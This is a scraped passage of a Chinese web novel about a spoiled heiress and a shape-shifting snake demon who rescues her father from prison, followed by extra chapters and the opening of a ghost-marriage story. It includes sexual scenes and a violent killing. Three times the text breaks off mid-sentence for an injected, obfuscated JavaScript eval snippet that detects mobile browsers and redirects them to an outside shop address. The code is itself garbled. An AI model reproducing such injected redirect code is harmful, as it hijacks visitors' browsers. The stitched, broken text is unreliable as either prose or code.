蛇果香甜,这么长时间了,依然没有变质。 * 苏娇娇心思实在被扰得不定,她去睡了一觉,梦中没有黑蛇,没有大黑,也没有蛇果。 在梦中,她终于得以抚平了微蹙的眉头。 唇角露出甜甜的笑意。 小青站在旁边,手足无措。 这可怎么办啊。 老爷让她来唤小姐,小姐睡得这么安稳,倘若自己强行叫起来,定是少不了一顿骂的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174181|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐的起床气最严重了。 两边都得罪不起。 这可为难了小青。 没让她为难多久,房门被轻轻推开了。 夫人进来了。 小青正欲行礼,被她拦住,夫人将食指放在唇边“嘘”了一声,小青了然地点点头。 “还睡着啊?” 夫人轻声问道。 小青也低着嗓子回道:“是,小姐睡了有两个时辰了。” 夫人慈爱的目光落在苏娇娇的睡颜上,悄声道:“娇娇好久没有睡得这么安稳了。” 可惜了。 可惜。 夫人叹了口气。 她上前一步,摇了摇苏娇娇的手臂。 “娇娇,起来了。” 苏娇娇被晃的皱眉,她慢吞吞地睁开眼眸,正欲发火,看到是娘后,她将升起的怒意强行压下。 “娘,您怎么忽然来了?” 夫人面露愁思:“你爹找你有事要说,许久不见你来,便知晓你在安睡,为娘只好来叫你了。” 苏娇娇握紧手:“很重要的事吗?” 娘点点头。 “关于侯爷府的?” 除过这迫在眉睫的一件事,苏娇娇实在想不到还有什么重要的事情了。 娘又点了点头。 苏娇娇连忙穿好外衣,下了床。 跟在娘的身后,苏娇娇的头脑疯狂运转。 是郑世子的事情暴露了吗? 那黑蛇将郑世子甩来甩去,即使不死也得脱层皮。 小青却说郑世子无事,苏娇娇便知晓是那蛇妖耍了什么手段,瞒天过海。 现在显然是那障眼法失效了,侯爷府那边沉不住气了。 到了正堂。 爹一脸凝重地坐在主座。 苏娇娇却松了口气,没有侯爷府的人,看来还没有严重到别人找上门的地步。 看到两人的身影,爹开口道:“娇娇,你长大了,爹不想瞒你,你合该有知晓的权利。” 苏娇娇微微抬眸,没说什么。 爹继续道:“先前便说那侯爷府定是怀着不轨之心,现在好了,果真让为父摸到尾巴了。” 他没有打哑迷,继续道:“今日爹听闻道,那冕侯爷竟是在暗中买兵买马。” 买兵买马。 苏娇娇不是无知幼童了,自是清楚这背后是什么意思。 这冕侯爷竟是在打着谋反的心思。 “爹的意思是,冕侯爷对当今圣上怀着谋反之心,买兵买马需要大量银两,单凭冕侯爷的月俸,定是不够的。咱们家不缺银两,因此这才被人盯上了。” 苏娇娇联想过来,竟猜了个七七八八。 爹有些惊愕,他欣慰地点点头,补充道:“娇娇你一向聪慧,但有一点不同,冕侯爷盯上我们家,不是图咱们的财富,而是掩人耳目,因为他还在做一件事——贪污国库。” 苏娇娇懵攥住手心。 这冕侯爷真是狼子野心。 倘若事情不成…… 那便是灭七族的下场。 “爹,我们快退婚吧,事情还有回转的余地!” 苏娇娇定声道。 娘也是这个意思,她目光灼灼地看着老爷。 爹面对母女二人直直的目光,叹了口气。 他仿佛苍老了许多。 “来不及了,冕侯爷已为娇娇与郑世子求了赐婚的圣旨。” 三个人皆一脸死色。 侯爷府这一举实在太狠了,明摆着非要把他们家狠狠拉下水来。 55. 黑蛇妖 纸终究包不住火,圣上很快知晓了这件事情。 龙颜大怒。 冕侯爷发动兵马,攻进京城,造反不成,反被当场斩杀。 侯爷府的男眷被押入大牢,女眷被充当军/妓,昔日奢靡繁华的侯爷府一朝落败,人人皆可上前吐一口唾沫。 刚与郑世子定亲的苏娇娇一家也被牵连。 苏老爷拼死将苏娇娇与苏夫人送走,自己被押入牢狱,忍受牢狱之苦。 狭窄昏暗的屋子内。 女人啼哭的声音时不时响起。 她身着简单的粗布衣裳,发髻间只插着一支木簪子,多日的哭泣,眼睛红肿得吓人。 苏娇娇将苏夫人搂住,耐心地安慰着。 “娘,不怕,会找到办法的。” 话说到最后,她自己也没了信心。 冕侯爷犯了造反之罪,当以诛九族之罪处置,她与郑青丞定亲,本就难逃一劫,更何况爹又冒死将自己与娘送出,罪加一等,爹能够安详地死去便是最好的结果了,只怕那些人心肠狠毒,落了个生不如死的下场。 想到这里,苏娇娇喉间有些哽咽。 苏夫人将苏娇娇抱住,心中悲戚,她现在只有女儿了。 “娘知道,会找到办法的,到时候我们一家便团聚了。” 苏夫人擦擦眼泪,回道。 她们都知道,这个结果的可能性微乎其微。 苏夫人暗中坚定信念,倘若老爷被处死了,她便也跟着去了,娇娇长大了,聪慧机智,自己留着也是娇娇的拖累。 哭累了,苏夫人便躺到床榻上休息了。 苏娇娇陪着娘安睡后,她站起身来,神情复杂。 这世上谁都怕皇帝,没人能救得了爹爹。 但还有一个人——大黑。 不,应当说黑蛇。 倘若自己求到它面前,它的手段那么多,定是可以救出爹爹的。 黑蛇早消失了,自己该去哪找它。 苏娇娇暗自垂眸,思索着。 苏府被封了,府中的下人早已被爹爹遣散了。 爹爹有先见之明,知道难逃一劫,提前将卖身契还给了府中的下人,又事先买下这座简陋的小屋,供她们母女二人逃难。 苏娇娇微微咬唇。 她记得那黑蛇的举动,分明是将自己当成了配偶。 倘若它有心…… 苏娇娇将匣子中的两个蛇果取出,放在桌面上。 倘若它有心,便循着蛇果的气味来找她吧。 窗户被她刻意地打开一条缝隙,苏娇娇坐在凳子上,期待地等候着。 一个时辰、两个时辰过去了,始终没有见那黑蛇的踪影。 苏娇娇有些失落,怀着那丝最后的希望,她依然等候在桌前。 没法子了,这是她最后的救命稻草。 为了照看伤心欲绝的娘,苏娇娇已一夜未睡了,紧绷的神经刺激得她头疼,蛇果香甜的味道传入鼻间,让她生出几分困倦之意。 苏娇娇用手心支撑着下巴,脑袋止不住地点头。 苏娇娇是被脸颊上的湿润触觉惊醒的。 睁开眼,猩红色的蛇信子映入眼帘。 紧接着,黑色的恐怖蛇头便显露出来。 看到她醒来,黑蛇愈发激动,它靠得更近,几乎钻进苏娇娇的怀里。 苏娇娇先是害怕,继而感到安心。 意识到这个念头后,她惊诧极了,自己竟然有一天会因为这条黑蛇的到来而感到安心。 苏娇娇忍住推开它的冲动,没有拒绝它的亲近,女子抚摸着黑蛇的脑袋,力道轻柔温暖。 黑蛇惬意地眯起眼,它的脑袋靠在苏娇娇的手臂上,人类雌性第一次不对自己的原型感到抗拒,黑蛇又惊喜又激动。 它又将蛇信子伸出来舔了舔苏娇娇的脸颊。 苏娇娇面色一僵,不经意间擦去水痕。 “你来了。” 黑蛇人性化地点点头。 它本是冷血动物,吃人的动物,最是凶狠,此时看向苏娇娇的眼神却软绵绵的。 苏娇娇忽然升起了几分成就感。 原本可怖的黑蛇也变得可爱了些。 苏娇娇开口道:“我想跟你说一件事,你可以先变成人的模样吗?” 这只是为了听她说话方便一些,这黑蛇似乎在变成原型后,反应会迟钝一些,苏娇娇敏锐地察觉到。 黑蛇眼神一滞,人类雌性还是讨厌自己的原型吗? 即使心中委屈,但它向来听苏娇娇的话,还是乖乖地变成了大黑的模样。 亮光闪过后,此时的场面有些尴尬。 原本的黑蛇靠在苏娇娇的手臂处,如同爱宠一般,现在变成人后,青年的脑袋靠在苏娇娇的胳膊,眼睛直直地撞进女子胸前的柔软。 唇间呼出的热气传递到苏娇娇的胸前。 苏娇娇身子一颤。 眼见大黑眼底翻滚着熟悉的欲/色,她连忙将人往外推了推。 苏娇娇正色道:“我爹爹被坏人关进了牢狱中,很快便要被处以死刑,你有法子能救出他吗?” 大黑正准备毫不犹豫地点头答应。 忽然想到什么。 他神色微动。 “我有……什么……好处?” 苏娇娇语塞,这狗奴才竟还学会讨价还价来了,果然变成人全是心眼子。 自己有求于人,爹爹还正在牢狱里受着酷刑。 苏娇娇强忍住心头的怒意,勉强道:“你想要什么?银两?美食?只要你能救出爹爹,无论什么条件我都答应。” 大黑摇摇头。 他认真地看着苏娇娇:“要你。” 这句倒是说得不结巴了。 苏娇娇被他直勾勾的目光看得一愣,她躲开这注视。 搪塞道:“可以,到时候我将你娶进房里。” 大黑又摇摇头。 苏娇娇生了火,没好气道:“这也不行,那也不行,你这狗奴才该不会还想要娶我吧,不要蹬鼻子上脸了。” 大黑直直地看了她两眼,正欲转身离开,苏娇娇连忙将人的腰身搂的紧紧的。 她面露难色:“也不是不行……” 大黑眼里划过欣喜。 他转过身,开口道:“娇娇……同我回……山林中……成婚……” 苏娇娇脸色一变。 回山林里,她荣华富贵享尽半辈子,后半辈子竟要去山沟沟生活吗? 这定是不行的。 面对青年期待的眼神。 苏娇娇灵机一动。 “倘若你能救出我爹爹,到时候我便同你回山林里,只不过只能是偶尔,平时你还是得和我生活在京城中的。” 大黑眼睛一亮。 他欣喜若狂。 ——人类雌性愿意同它回山林中快活。 大黑看着苏娇娇的眼神仿佛要将她吞了似的。 苏娇娇暗叹不好,转身便想跑,下一刻便被青年抱了起来,他直直地朝着床榻的方向走,苏娇娇大惊,喊道:“别!床上还有娘!” 大黑脚步停住,他身体中的躁动使得他焦躁不安,温香软玉在怀,却无处可使,青年急得眼睛都红了。 苏娇娇强忍住羞意:“我用手帮你。” 大黑静静地看着苏娇娇。 一巴掌扇了过来。 “你还不乐意了,本小姐还没不乐意呢。” 苏娇娇一向娇气,方才有求于人,这才低声下气,眼见人答应了,立马变脸比翻书快。 大黑被她扇惯了,也不生气。 他亲昵地与苏娇娇耳鬓厮磨着,随着女子的动作,他口中溢出轻轻的喘气声。 苏娇娇被这声音听得耳热,她生怕两人将熟睡的娘吵醒。 连忙掐了一下大黑的胳膊。 “小点声。” 真不害臊。 大黑被她一刺激,没忍住缴械投降。 苏娇娇嫌弃地看着自己的手。 脏死了脏死了。 她抹在大黑的衣服上,正欲开口骂他。 下颚忽然被人掐住,紧接着青年唇上的温热便传递到自己的唇上。 大黑眼里满是喜爱与依赖。 苏娇娇看着,忽然没了声。 她闭上眼。 * 黑蛇飞快地朝牢狱的方向爬去。 它满脑子只有一个想法:快点救出娇娇的爹爹,事成之后,娇娇便同自己回山林中快活。 “嘶嘶。” 蛇信子吐出。 黑蛇墨绿色的瞳孔因激动放大。 大理寺中的牢狱看管极严,层层机关严森。 狱卒们紧紧地盯着外面的风吹草动。 一股黑雾升起。 狱卒们烦躁地骂骂咧咧道:“哪里来的黑雾,烦人得很!” 有警惕的狱卒心生不对劲,用手帕捂住口鼻,拿起腰间的大刀,紧紧地盯着四周。 可惜这不是普通的迷雾。 是那妖蛇吐出的瘴气。 没过多久,狱卒们倒了一地。 牢狱中的犯人们眼见有人劫狱,心中大喜,皆喧哗起来。 黑蛇冷冷地看着他们,聒噪。 它轻吐黑雾,犯人们也齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192688|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哗哗地倒下了。 黑蛇慢悠悠地穿梭在牢狱中,仿佛在公园散步似的悠闲。 它盯着每个大门,辨认着犯人的面容。 路过一个门时,它忽然停住了。 只见郑青丞倒在地上,一身囚衣,面色惨白,身上全是鞭痕与伤口,显然在牢中受了不少苦。 想到先前他对人类雌性的觊觎,黑蛇眼中恶意升起。 它轻松咬开那坚固的锁链,门吧嗒一声开了。 轻吐气息。 郑青丞悠悠转醒。 他看了过来,面色骤白。 是那条黑蛇。 郑青丞步步后退,求饶道:“求求您,求求您,饶了我吧!” 黑蛇玩味地看着他,下一秒,竟是问道:“你喜欢……娇娇?” 这蛇竟是会开口说话! 怪物! 怪物! 郑青丞瞪大眼睛,两眼一黑,便要晕过去,黑蛇不耐烦地吐气,他又被迫醒来。 他险些哭出来,这蛇妖怎么这般蹉跎人。 “蛇妖大人,您就绕了我吧,我真的不知道哪里得罪了大人。” 黑蛇重复道:“你……喜欢……娇娇?” 娇娇? 什么娇娇? 生死关头,郑青丞哪里想得起是哪个娇娇,但看这蛇妖的可怖模样,只好拼命地思索,好半晌才想起来有个苏娇娇。 他吐了一口气道:“不喜欢不喜欢,大人明鉴啊,我对那女子没有半分心思的。” 黑蛇没说话,它看着郑青丞,没往前爬。 郑青丞心中一喜,以为这妖怪放过了自己,连忙往牢狱门爬去,他爬得飞快,眼见到了门口,郑青丞激动得手脚止不住得颤抖。 下一秒,巨大的蛇尾将他卷了回来,看着面前的可怖蛇头。 郑青丞害怕地直抖腿。 尿骚味传来。 水嘀嗒嘀嗒地落在地板上。 他竟是被吓尿了。 黑蛇嫌弃地将人甩了出去,郑青丞哇的一声吐出一口血来。 原想好好折磨他,但这人实在恶心得慌,黑蛇只想速战速决。 没等郑青丞反应过来,他又被蛇尾卷起,大力甩了下去,三番两次,郑青丞本就身上带着伤,如此折腾,根本扛不住,他的血吐了又吐,终于头一歪,没了气息。 黑蛇解了心头之闷,爬了出去,继续寻找着娇娇的爹爹。 在一间狭小的牢房中看到了熟悉的面孔,黑蛇将蛇尾甩向锁链,锁链被打掉,黑蛇爬了进去,用蛇尾将苏老爷卷起,迅速爬出了牢狱。 没过多久,牢狱转醒,他们站起身来,看着牢狱中的狼狈场景,大惊喊道:“有人劫狱!有人劫狱!有人劫狱!” 待官差匆匆赶来,才发觉除过门上的锁链掉了一地,死了一个人以外,没有任何变化。 牢中死了一个人,多正常的事,锁链用久了生锈了,也无大碍,这便不惊动朝中了。 黑蛇布下的幻觉让在场的所有人皆忘记了关起来的苏老爷。 至于朝廷。 圣上正忙着处置冕侯爷余党,哪里还记得那个小小的商贩一家呢。 苏娇娇一家便这么轻松地逃过一劫了。 狭窄昏暗的房屋中。 苏夫人关切地看着安睡的苏老爷。 时不时为他擦身,处理伤口。 苏娇娇坐在一旁,悬在半空的心也落了地。 苏夫人笑道:“这次可多亏了大黑。” 她看向站在一旁殷切看着苏娇娇的青年,是越看越满意。 都说患难见真情。 危机关头,她这才发觉出这哑奴的好来。 苏娇娇赞同地点点头,她看向大黑:“你做的不错。” 大黑眼中一热,苏娇娇心生不好,连忙瞪了一眼他。 这狗奴才真是随时随地都在发/情。 大黑抿唇道:“这是……我……应该做……的。” 苏夫人惊讶地开口道:“原来大黑还会说话。” 虽然是个结巴的,但也总比哑巴强多了。 紧接着,大黑说道:“娇娇说……只要……我救出……爹……便……嫁给我……” 语出惊人。 娘先是一惊,猛地看向苏娇娇。 见女子心虚的表情,便知是真的了。 “君子一言,驷马难追。娇娇,说话当算话。” 苏娇娇小声道:“我又不是君子……” 娘瞪了一眼她,她连忙嘘声了。 苏娇娇愤懑心想,这狗奴才果真全身心眼子,竟还会找娘来为自己撑势。 56. 番外 01 经历过大死大难之后的苏老爷心境忽然豁达开了,自从知晓他是被那个一向瞧不起的哑奴救了出来,苏老爷看大黑的眼神便变了。 脱离了心中的不满之意,再看这青年,倒是个不错的佳俊。 相貌堂堂,性格不错,主要是愿意惯着自家女儿的臭脾气。 苏老爷想到这里,忍不住咋舌。 那日苏娇娇忽然心血来潮,想要养只狗,家里的人都不在意,反正她高兴就行了,谁知一向对苏娇娇说一不二的大黑却坚决不同意。 为此两人冷战了好久。 嗯…… 苏老爷决定精确一下说法,应当是娇娇单方面冷战了大黑好久。 他与苏夫人看了几日,决定不能这样下去了,正准备去劝劝双方,谁知晌午之际,便看见娇娇坐在大黑的脊背上,大黑爬在地上,脖子上还挂了条狗链子,链子的那头被苏娇娇牵着,少女一脸欣喜,嘴中时不时发出“嘬嘬嘬”的声音。 两人对视一眼,眼中的惊愕意味分明。 苏夫人偷偷将苏娇娇拉到一旁。 “你这丫头,怎么这般蹉跎人。人家大黑就算脾气好,也不能这样啊。” 苏娇娇啊了一声。 “娘你这说的什么话,我是这种人吗!” 看向苏夫人复杂的神情,苏娇娇一时梗塞。 “咳……好吧,虽然我有时候确实…,但是这次真不是!” 少女坚定道。 “大黑他不让我养狗,说自己也能当我的狗,我有什么办法。” 苏娇娇撇嘴,想到这里就生气。 不就养只狗嘛,那狗奴才还敢给自己甩脸,苏娇娇哪里肯惯他,当即将人抛之脑后,她自己带着小青去了商贩那买狗,狗都看好了,商贩将狗送上府,那狗奴才竟然化成原型,将商贩吓得屁滚尿流的,说什么也不卖了。 苏娇娇当即要发火,青年垂下眼眸,默不作声地递过来一条狗链子,看向苏娇娇的目光意有所指。 看着那条黑色的链子,苏娇娇目光微凝。 “娇娇……别养其……他的,养……我吧。” 不得不说,苏娇娇很吃这套。 苏夫人看过去,便见苏老爷与大黑并排而站,两人在说着什么,苏老爷的神情愈发复杂,他看了过来,夫妇二人对视了一会,忽然笑了出来。 女儿这哪里是找了个夫婿。 分明是找了个奴仆。 02 今日该回山林中了。 大黑明显开心多了。 苏娇娇就有些不情不愿了,她特意吩咐小青收拾行李的动作磨蹭一些。 小青不理解但照做。 于是进程便慢了下来。 大黑敏锐地发现了,但不多。 他将小青挤开,亲自给两人收拾行李。 大黑的行李不多,只有一个小包袱,主要收拾的还是苏娇娇的行李,光是衣裳就有七八身,再别提首饰,话本,吃食…… 苏娇娇眼看自己的计划就这么落空了,她不甘心地咬唇。 她心有不甘,依然各种使绊子。 苏娇娇舒舒服服地躺在床榻上,大黑在下方忙得飞快,又被使唤着给苏娇娇倒水,捶背,扇风…… 大黑也乐得伺候她。 苏娇娇咬牙,这傻子真油盐不进。 在多次被使唤后,大黑后知后觉苏娇娇的小心思。 他看向苏娇娇,问道:“娇娇……不想回……山林……里吗?” 苏娇娇啊了一声,一脸困惑。 “没有啊。” 开玩笑,她可是答应过了,现在哪里能反悔。 大黑眸色深深,他停下手下忙活的动作,坐到床榻边缘,两人之间的距离迅速拉近。 猛然靠得这么近,苏娇娇吓了一跳,她瞪了一眼大黑,结巴道:“干、干嘛啊!” “你不想……跟我……一起……回……” 大黑眼里划过失落。 “为什……么?” 苏娇娇咬唇,眼里闪过幽怨。 这狗奴才还好意思问,什么回山林,分明是回它的老窝去,到了那洞穴,这淫/蛇便激动得不像话,回到洞穴三天,便没停过那事,甚至激动时,还想把原型变化出来,把苏娇娇吓得半死,好生威胁了一顿这才让它打住这恐怖的想法。 她支支吾吾地说了。 大黑委屈地看着苏娇娇。 “娇娇……我保证……一定不……吓到……你。” 不能变化出原型。 人类雌性会吓到。 大黑暗暗心想着。 * 昏暗的洞穴中。 绒毛毯子平摊在地上,家具整齐地摆放在洞穴内。 其间的布置很像苏娇娇的闺房。 比起先前的洞穴,这显得温馨多了。 苏娇娇一向不让自己吃苦,既然时不时便要回这洞穴居住,肯定要布置得舒服一些。 大黑刚与苏娇娇踏进洞穴,就开始激动起来。 他微微舔唇,眼里闪过暗光。 牙齿微微颤栗,险些控制不住原型的出现。 怀着不能吓到人类雌性的想法,他将这心理强行压下去。 苏娇娇正欲说话,倏忽,一股大力袭来,她便被压到了美人榻上。 “嘶……” 大黑没有控制好力道,苏娇娇一时有些吃痛。 又来了。 苏娇娇没忍住发火,她拧了一把大黑的手臂。 对方动作微滞,继而动作愈发凶狠。 苏娇娇觉得自己的唇瓣似乎变成了软皮团子,被人啃咬舔舐,酥麻感传来。 “哗啦”一声,新换的衣裳又被人暴力撕开。 苏娇娇睁开眼,便看到大黑因激动眼尾微微泛红的模样。 眼神似乎下一秒便要将她吞之入腹。 事实上,他接下来的动作也是如此。 嫩红的花瓣被雨水打落,颤颤巍巍的可怜模样。 苏娇娇无力地靠在大黑的肩头。 脸颊泛红。 青年忽然凑到她耳边道:“娇娇……忍不住了……好……难受……” 他的声音含着暗哑,听起来极具迷惑性。 苏娇娇诡异的思绪发散。 忽然想起来他话里的意思。 苏娇娇面色一白,一巴掌扇了过来。 “你敢……“ 事实证明,男人的话不能听,即使是一条黑蛇,它的话也不能听。 它哪里是不敢,它敢得很。 03 又是一年花灯节。 由于上次花灯节苏娇娇同郑青丞去逛了,大黑心里极其吃味,今年特意将她拉去了灯会。 街道上的面孔陌生,新人不断地出现,但灯会上的内容依旧没变。 苏娇娇只觉得乏味得很。 直到一个年轻俊朗的青年脸颊泛红,将手中的香囊递给她,苏娇娇还没反应过来,便见那香囊凭空燃烧起来,变成灰烬散落在地上。 青年的脸色由红转为白,匆匆告别离开,那动作飞快,仿佛身后有只虎狼在撵着他似的。 苏娇娇幽幽地看向身旁脸色烦躁的青年。 “你又怎么了?” 大黑抿唇,理直气壮:“那香囊……味道熏……得我头……晕。” 苏娇娇撇嘴。 本来她也没想要接过那香囊的。 这事苏娇娇没有在意,照常走着路。 大黑却误以为她是生气了。 青年的嘴角一下子垂下来了。 他眼底暗淡。 人类雌性因为他烧了那香囊生气了。 可是他就是看不得其他雄性来接近自己的配偶。 想到苏娇娇方才多看了两眼那雄性。 大黑的目光微闪。 娇娇喜欢好看的人类皮囊。 心不在焉地逛完灯会,两人便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223147|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐了马车回到小屋。 苏娇娇揉揉眼睛,倒在了床榻上,累死了,逛得她胳膊疼腿疼。 大黑过来试探性地给她揉捏肩膀。 力度适中,舒服得苏娇娇喟叹一声。 见女子没有不高兴的意思,大黑心中一喜。 苏娇娇将腿放到大黑的腿上。 “给我把腿也揉揉。” 大黑不禁心神激荡,他定定地看着苏娇娇,手挪到她的腿上,手下的肌肤白嫩,大黑喉结滚动,呼吸不禁粗重了些。 渐渐的,手下的动作便有些变味了。 苏娇娇感觉到不对劲之际,大黑的手已经要挪到腿心了。 她没好气地踢了他一脚。 “消停些,累死我了都。” 大黑被踢的一愣,这才老老实实地给她揉腿。 困意席卷而来,苏娇娇安然入睡了。 大黑的眼睛一眨不眨地盯着她,凑过去亲亲她的唇角。 他跟着躺了下去,将女子的腰肢搂住,也闭上了眼。 只见一阵亮光闪过。 大黑的面容与身形悄然发生了变化。 翌日。 明亮的阳光斜斜落入帷帘之中,苏娇娇被这刺眼的光惊醒。 她慢悠悠地睁开眼,下意识便要喊大黑。 不对。 不对劲。 苏娇娇一激灵。 她直勾勾地看了过去,身旁的人还搂着自己的腰肢。 不是大黑。 这个想法令她毛骨悚然。 苏娇娇使劲将人推远。 这一推开,青年的面容彻底显露出来。 苏娇娇面色骇然。 这不是已经死去的郑青丞吗? 这是……诈尸了?! “郑青丞”也醒了过来,看到苏娇娇盯着自己,他心里一喜。 果然,人类雌性喜欢好看的人类皮囊。 他记得的。 先前她多看了好几眼这个雄性。 “郑青丞”温润笑道:“娇娇……你……醒来……了。” 独特的结巴。 令苏娇娇一下子知晓对方是谁了。 “你是不是有病。变成郑世子的模样干嘛!” 真的要吓死她了。 苏娇娇瞪向大黑。 大黑疑惑的眸子落在苏娇娇身上,对她生气的模样很不理解。 “赶紧变回来,太晦气了。” 一想到一个本该死了的人抱着自己一晚,苏娇娇就忍不住抖抖身上的鸡皮疙瘩。 大黑歪头问道:“娇娇……不喜欢……吗?” 苏娇娇喉头一噎,没好气道:“谁告诉你,我喜欢他的。” 大黑若有所思地审视着女子的神情。 似乎,,是真的不喜欢。 倏忽,郑青丞的模样又变成了昨日花灯节上的送香囊的青年模样。 “现在……喜欢……吗?” “不喜欢,你赶紧换回来。” 苏娇娇蹙眉,这黑蛇怎么还迷恋上扮演其他人的游戏了。 “那娇娇……喜欢……什么模样?” 无论娇娇喜欢谁的样子,它都能变化得来。 黑蛇冷冷地想道。 却见苏娇娇思考了一下:“嗯……我也不知道,不过你刚开始的模样就不错。” 主要是她都看习惯了。 想到每天早上看到自己的枕边人模样不停变化,苏娇娇就觉得格外奇怪。 仿佛自己每日都在换夫婿似的…… 黑蛇嘴角翘起。 人类雌性只喜欢他的模样。 亮光闪过,大黑眼睛亮亮地看着苏娇娇。 “娇娇……我也……喜欢……你。” 什么叫也,她可没说自己喜欢他,这狗奴才可真是得寸进尺。 苏娇娇正欲反驳,唇瓣下一秒便被堵住。 罢了。 这狗奴才一向如此。 57. 阴暗男鬼 夜色暗涌,浓雾汇聚。 “起轿——” 媒婆扯着嗓子高声喊道。 那几个车夫闻声抬起轿子,抬起头来,让人毛骨悚然,只见他们面上铺了厚厚的一层白粉,嘴唇涂着殷红胭脂,红得见血,神情麻木。 哪里是正常人的模样,分明是纸人的模样。 再看那媒婆手中撒的,哪里是铜钱,竟然是纸币。 街边站着看热闹的人皆叹息摇头,没有一点结婚的喜气。 “咚!” 轿子剧烈地晃动了一下。 “发生什么事了?!” 媒婆回头问道。 “无事,路边卡了一块石头。” 媒婆冷哼一声:“快点走,莫要再出乱子了,扰了吉时我们可担不起!” 轿中。 女子一袭嫁衣,浓妆艳抹一番,才将人苍白瘦弱的病气遮了去。 被这巨响惊醒,她将盖头掀开,看到自己这一身打扮,立马白了脸。 来不及多想,李春雪用力地捶打着轿门。 她的声音中含着万分的恐慌。 “有没有人?!放我出去!” 喊了许久都无人理会,李春雪的喊声逐渐变小,她眼中含泪,心中只有满满的绝望之意。 窸窣的声响传进耳中,李春雪眼里闪过亮光,她微微坐直身子。 “谁?我知道有人在外面,我求求你,放我出去吧。” 或许是女子的呼救声过于凄婉,媒婆忍不住同情劝道:“李小姐莫要挣扎了,你家可是收了人家程家的聘礼,白纸黑字,明媒正娶,李小姐不如考虑如何去过日子吧。” 李春雪气的唇角微微颤抖。 她努力咽下呜咽声,却还是溢出一声哭腔。 话说得轻巧,倘若是正常人家也就罢了,对方许的可是冥婚,她要嫁的是那死了三年的程琛言。 李春雪家中贫困,爹娘前前后后生了六个女儿,送走了两个,盼星星盼月亮,老来得子,终于盼来了个儿子。 爹娘偏心,吃的喝的穿的都给了五弟,家中的活都是几个女儿做,李春雪是大姐,她做的活最多、最苦、最累。 李春雪却从来没有埋怨过,她总想着她再努力一些,再勤奋一些,说不定爹娘便能看到她的好了。 却不想,只因自己的生辰八字与那程公子的八字相合,程家给的聘礼丰厚,爹娘便不顾她的苦苦哀求,强行将人送到花轿上。 或许是感觉到李春雪的抵触性轻了。 媒婆也软了语气。 “李小姐,我也知晓你苦,女子嫁了出去,为自己找个好靠家,也是件好事,你家那情况……” 媒婆没再说下去,李春雪却懂了她的意思。 只要自己还在这个家里,即使没有程家的聘礼,也有李家的、王家的…… 那对贪心不足蛇吞象的爹娘永远不会放过榨干她最后一丝价值的机会。 嫁给死人,虽刚去便是寡妇,却也落了个清净。 李春雪觉得自己真是疯了,此刻竟是学会苦中作乐来了。 一路摇摇晃晃,只听见一声:“落轿——” 轿子停了下来。 媒婆开口道:“新娘子快下来吧。这一路就得靠自己了。” 轿门被打开,一只手搭着媒婆的手顺势走了下来。 红盖头虽遮挡了部分视线,但也能将面前的场景看个大致。 府门内一片喜庆,屋檐瓦片、梅枝桂树上红绸花高高挂起,鞭炮声噼里啪啦地响起。 垂首看向自己身上的嫁衣,布料精细,设计精巧,倘若不是成婚,李春雪恐怕这辈子都穿不上这么好的衣裳。 媒婆提醒道:“新娘子该跨火盆了。” 李春雪从恍惚中回神,她拎起裙摆,小心跨过。 ““新娘过门跨火烟,明年添财又添丁;孝敬公婆人不恼,家庭和睦万事兴。” 媒婆一边说着吉祥话,一边走。 走到正堂,程老爷与程夫人已坐在主座了。 他们面色复杂。 李春雪有些不知所措,接下来当是拜天地了,可这没有新郎,难不成要她一个人拜天地吗? 没过多久,一只挂着红绸子的公鸡被下人牵了进来。 “新郎不便出面,便用公鸡代拜天地,还请新娘子见谅。” 李春雪一下子白了脸色,她咬着唇,心里莫大的悲戚。 下人将公鸡牵至新娘子身旁。 媒婆高声喊道:“一拜天地!苍天为凭地为证。” 李春雪正欲跟随指引弯身,忽然听见纷起的嘈杂声。 众人惊慌不已。 “这好端端的公鸡怎么突然咽气了!” 便见方才还生龙活虎的公鸡奄奄一息地倒在地上,它瞪大眼睛,似乎极为惊恐。 主座上的两个老人一下子慌了神。 连忙派人试探公鸡的气息。 下人惊愕道:“没……没气了。” 李春雪攥紧手心,心里浮现恐慌感。 新妇刚刚嫁进来,代拜天地的公鸡便突然毙命,这就像是一个不详的预兆。 果不其然,前来的宾客议论纷纷。 “我就说,冥婚是违反天理的,这就是老天爷下的警告。” “好端端的女子送来跟死人成婚,简直是作孽!” “不过你们不觉得……这太巧了吗?这程夫人刚成亲便如此,说不定是个灾星,日后指不定会带来什么祸事呢!” 场面一时变得杂乱不堪。 主座上的两人对视一眼。 程老爷一开口便不怒自威,方才还嘈杂的场面顿时安静了下来:“好了,既然如此,那就直接敬茶吧。” 